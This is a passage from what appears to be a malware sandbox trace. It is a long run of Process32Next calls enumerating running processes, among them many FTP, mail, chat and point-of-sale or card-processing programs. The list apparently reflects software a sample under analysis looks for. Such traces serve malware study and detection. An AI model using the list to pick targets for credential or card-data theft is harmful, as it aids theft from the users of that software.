pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.024] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.061] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.064] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.067] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.069] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.072] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.074] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.076] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0272.078] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.081] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.083] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.085] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.088] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.090] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.094] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0272.096] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.099] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.101] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.104] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.106] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.109] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.111] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0272.114] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0272.116] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0272.119] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0272.121] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0272.124] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0272.126] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0272.129] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0272.131] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0272.134] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0272.136] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0272.139] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0272.141] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0272.143] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0272.145] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0272.148] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0272.150] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0272.152] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0272.155] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0272.157] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0272.161] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0272.164] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0272.197] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0272.201] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0272.203] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0272.205] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0272.207] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0272.209] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0272.211] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0272.213] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0272.215] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0272.217] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0272.219] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0272.221] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0272.223] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0272.225] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0272.228] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0272.230] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0272.232] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0272.234] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0272.236] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0272.238] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0272.239] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0272.241] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0272.244] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0272.247] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0272.249] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0272.251] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0272.254] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0272.256] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0272.259] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0272.261] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0272.263] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0272.266] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0272.269] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0272.271] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0272.273] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0272.276] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0272.277] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0272.279] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0272.281] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0272.283] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0272.285] 